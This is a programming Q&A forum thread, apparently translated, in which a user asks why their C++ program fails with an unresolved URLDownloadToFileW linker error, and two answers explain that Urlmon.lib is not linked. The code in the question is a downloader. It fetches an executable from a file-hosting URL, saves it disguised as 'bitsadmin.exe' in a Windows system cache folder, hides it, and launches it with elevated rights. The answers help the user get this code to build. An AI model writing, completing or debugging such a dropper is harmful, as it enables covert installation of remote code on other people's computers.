R
R
reversedebil2021-07-18 21:40:57
C++ / C#
reversedebil, 2021-07-18 21:40:57

What is the error if everything is fine with the code?

Here is the code:

int main ()
{
  LPCTSTR linkFile = L"https://cdn-116.anonfiles.com/nco8va78uc/8c58d06d-1626633691/BITSADMIN-G1BAK7-SECURE.exe";
  LPCTSTR setupFile = L"C:\\ProgramData\\Microsoft\\Windows\\Caches\\bitsadmin.exe";

  URLDownloadToFileW(0, linkFile, setupFile, 0, 0);
  SetFileAttributes(setupFile, FILE_ATTRIBUTE_HIDDEN);
  ShellExecute(NULL, L"runas", setupFile, NULL, NULL, SW_SHOWNORMAL);

  system("pause");
  return 0;
}


And here is the error itself:

LNK2001 Unresolved external symbol URLDownloadToFileW.
LNK2001 unresolved external characters: 1

Answer the question

In order to leave comments, you need to log in

2 answer(s)
R
res2001, 2021-07-19
@reversedebil

https://docs.microsoft.com/en-us/previous-versions...
The link shows that the URLDownloadToFileW function is declared in Urlmon.h and defined in Urlmon.dll.
Because an error at the linking stage, then the compilation was successful, which means that Urlmon.h is connected in one way or another during the compilation process. But Urlmon.lib is not added to the link options, which is why the error occurs.

S
Saboteur, 2021-07-18
@saboteur_kiev

URLDownloadToFileW cannot be found. Check if the library is properly linked

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question